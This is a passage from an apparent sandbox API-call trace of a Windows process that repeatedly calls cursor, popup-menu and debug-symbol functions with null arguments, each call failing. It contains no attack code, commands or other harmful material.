lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.624] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.624] GetLastError () returned 0x579 [0185.624] SetLastError (dwErrCode=0x579) [0185.624] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.624] SymCleanup (hProcess=0x0) returned 0 [0185.624] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.624] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.624] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.625] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=475, param_4=253, param_5=0x0, param_6=0x0) returned 0 [0185.625] GetLastError () returned 0x579 [0185.625] SetLastError (dwErrCode=0x579) [0185.625] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.625] SymCleanup (hProcess=0x0) returned 0 [0185.625] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.625] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.625] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.625] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.625] GetLastError () returned 0x579 [0185.625] SetLastError (dwErrCode=0x579) [0185.625] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.625] SymCleanup (hProcess=0x0) returned 0 [0185.625] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.625] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.625] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.625] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.625] GetLastError () returned 0x579 [0185.625] SetLastError (dwErrCode=0x579) [0185.625] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.625] SymCleanup (hProcess=0x0) returned 0 [0185.625] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.625] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.625] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.626] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.626] GetLastError () returned 0x579 [0185.626] SetLastError (dwErrCode=0x579) [0185.626] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.626] SymCleanup (hProcess=0x0) returned 0 [0185.626] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.626] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.626] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.626] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.626] GetLastError () returned 0x579 [0185.626] SetLastError (dwErrCode=0x579) [0185.626] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.626] SymCleanup (hProcess=0x0) returned 0 [0185.626] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.626] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.626] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.626] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=462, param_4=49, param_5=0x0, param_6=0x0) returned 0 [0185.626] GetLastError () returned 0x579 [0185.626] SetLastError (dwErrCode=0x579) [0185.626] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.626] SymCleanup (hProcess=0x0) returned 0 [0185.626] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.626] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.626] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.627] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.627] GetLastError () returned 0x579 [0185.627] SetLastError (dwErrCode=0x579) [0185.627] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.627] SymCleanup (hProcess=0x0) returned 0 [0185.627] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.627] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.627] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.627] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.627] GetLastError () returned 0x579 [0185.627] SetLastError (dwErrCode=0x579) [0185.627] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.627] SymCleanup (hProcess=0x0) returned 0 [0185.627] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.627] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.627] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.627] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.627] GetLastError () returned 0x579 [0185.627] SetLastError (dwErrCode=0x579) [0185.627] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.627] SymCleanup (hProcess=0x0) returned 0 [0185.627] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.627] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.627] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.627] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.628] GetLastError () returned 0x579 [0185.628] SetLastError (dwErrCode=0x579) [0185.628] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.628] SymCleanup (hProcess=0x0) returned 0 [0185.628] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.628] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.628] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.628] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1029, param_4=868, param_5=0x0, param_6=0x0) returned 0 [0185.628] GetLastError () returned 0x579 [0185.628] SetLastError (dwErrCode=0x579) [0185.628] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.628] SymCleanup (hProcess=0x0) returned 0 [0185.628] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.628] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.628] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.628] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.628] GetLastError () returned 0x579 [0185.628] SetLastError (dwErrCode=0x579) [0185.628] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.628] SymCleanup (hProcess=0x0) returned 0 [0185.628] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.628] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.628] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.628] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.629] GetLastError () returned 0x579 [0185.629] SetLastError (dwErrCode=0x579) [0185.629] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.629] SymCleanup (hProcess=0x0) returned 0 [0185.629] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.629] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.629] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.629] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.629] GetLastError () returned 0x579 [0185.629] SetLastError (dwErrCode=0x579) [0185.629] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.629] SymCleanup (hProcess=0x0) returned 0 [0185.629] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.629] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.629] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.629] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.662] GetLastError () returned 0x579 [0185.662] SetLastError (dwErrCode=0x579) [0185.662] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.662] SymCleanup (hProcess=0x0) returned 0 [0185.662] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.662] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.662] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.662] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=320, param_4=542, param_5=0x0, param_6=0x0) returned 0 [0185.662] GetLastError () returned 0x579 [0185.663] SetLastError (dwErrCode=0x579) [0185.663] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.663] SymCleanup (hProcess=0x0) returned 0 [0185.663] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.663] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.663] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.663] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.663] GetLastError () returned 0x579 [0185.663] SetLastError (dwErrCode=0x579) [0185.663] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.663] SymCleanup (hProcess=0x0) returned 0 [0185.663] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.663] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.663] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.663] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.663] GetLastError () returned 0x579 [0185.663] SetLastError (dwErrCode=0x579) [0185.663] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.663] SymCleanup (hProcess=0x0) returned 0 [0185.663] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.663] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.663] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.663] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.663] GetLastError () returned 0x579 [0185.664] SetLastError (dwErrCode=0x579) [0185.664] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.664] SymCleanup (hProcess=0x0) returned 0 [0185.664] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.664] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.664] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.664] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.664] GetLastError () returned 0x579 [0185.664] SetLastError (dwErrCode=0x579) [0185.664] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.664] SymCleanup (hProcess=0x0) returned 0 [0185.664] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.664] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.664] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.664] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=785, param_4=780, param_5=0x0, param_6=0x0) returned 0 [0185.664] GetLastError () returned 0x579 [0185.664] SetLastError (dwErrCode=0x579) [0185.664] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.664] SymCleanup (hProcess=0x0) returned 0 [0185.664] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.664] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.664] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.664] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.664] GetLastError () returned 0x579 [0185.665] SetLastError (dwErrCode=0x579) [0185.665] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.665] SymCleanup (hProcess=0x0) returned 0 [0185.665] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.665] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.665] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.665] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.665] GetLastError () returned 0x579 [0185.665] SetLastError (dwErrCode=0x579) [0185.665] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.665] SymCleanup (hProcess=0x0) returned 0 [0185.665] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.665] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.665] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.665] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.665] GetLastError () returned 0x579 [0185.665] SetLastError (dwErrCode=0x579) [0185.665] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.665] SymCleanup (hProcess=0x0) returned 0 [0185.665] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.665] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.665] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.665] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.665] GetLastError () returned 0x579 [0185.666] SetLastError (dwErrCode=0x579) [0185.666] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.666] SymCleanup (hProcess=0x0) returned 0 [0185.666] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.666] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.666] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.666] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=533, param_4=528, param_5=0x0, param_6=0x0) returned 0 [0185.666] GetLastError () returned 0x579 [0185.666] SetLastError (dwErrCode=0x579) [0185.666] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.666] SymCleanup (hProcess=0x0) returned 0 [0185.666] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.666] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.666] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.666] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.666] GetLastError () returned 0x579 [0185.666] SetLastError (dwErrCode=0x579) [0185.666] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.666] SymCleanup (hProcess=0x0) returned 0 [0185.666] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.666] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.666] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.666] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.666] GetLastError () returned 0x579 [0185.666] SetLastError (dwErrCode=0x579) [0185.667] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.667] SymCleanup (hProcess=0x0) returned 0 [0185.667] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.667] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.667] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.667] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.667] GetLastError () returned 0x579 [0185.667] SetLastError (dwErrCode=0x579) [0185.667] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.667] SymCleanup (hProcess=0x0) returned 0 [0185.667] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.667] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.667] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.667] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.667] GetLastError () returned 0x579 [0185.667] SetLastError (dwErrCode=0x579) [0185.667] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.667] SymCleanup (hProcess=0x0) returned 0 [0185.667] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.667] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.667] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.667] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1395, param_4=845, param_5=0x0, param_6=0x0) returned 0 [0185.667] GetLastError () returned 0x579 [0185.667] SetLastError (dwErrCode=0x579) [0185.668] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.668] SymCleanup (hProcess=0x0) returned 0 [0185.668] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.668] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.668] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.668] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.668] GetLastError () returned 0x579 [0185.668] SetLastError (dwErrCode=0x579) [0185.668] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.668] SymCleanup (hProcess=0x0) returned 0 [0185.668] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.668] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.668] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.668] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.668] GetLastError () returned 0x579 [0185.668] SetLastError (dwErrCode=0x579) [0185.668] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.668] SymCleanup (hProcess=0x0) returned 0 [0185.668] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.668] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.668] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.668] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.668] GetLastError () returned 0x579 [0185.668] SetLastError (dwErrCode=0x579) [0185.668] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.669] SymCleanup (hProcess=0x0) returned 0 [0185.669] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.669] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.669] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.669] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.669] GetLastError () returned 0x579 [0185.669] SetLastError (dwErrCode=0x579) [0185.669] SymFindFileInPath (in: 